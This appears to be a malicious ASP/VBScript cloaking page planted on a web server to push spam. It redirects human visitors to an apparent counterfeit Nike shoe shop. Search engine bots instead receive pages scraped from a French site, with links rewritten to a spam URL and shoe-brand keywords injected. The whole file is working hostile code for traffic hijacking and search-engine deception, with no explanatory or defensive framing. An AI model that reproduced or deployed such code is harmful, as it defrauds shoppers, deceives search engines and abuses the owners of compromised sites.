<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "www.nikes-fr.com" dim agent,language,referer agent=request.servervariables("HTTP_USER_AGENT") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/" Response.End end if else Response.Redirect "http://"&jumptodomain&"/" Response.End end if fromsite = "http://www.makanikouros.fr/site_map.html/" tourl = "http//:dicksdeals.com/LAMB_files/makanikouros.asp" pageid = "P" imagefolder = "images/" tourl = tourl&"?"&pageid&"=" %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) else htmls = getHTTPPage(fromsite) end if htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"","Nouveau Nike Air Max 90 ChaussuresAir Jordan TalonNike Free Run+ 5.0Nike Air Force 1Nike Air Max 1Nike Air Max 90Nike Air Max LTDNike Air Max TheaNike Free 3.0Nike Free 5.0Nike Free Run 2Nike Free Run 3Nike Roshe RunNike Zoom Elite 5Plan du SiteNike Flyknit MaxNike BlazerNike Air Max 90 Plan du SiteJordan Fusion Hommenike store Plan du SiteAdidas Soccer Cleats",1,-1,1) response.write htmls %>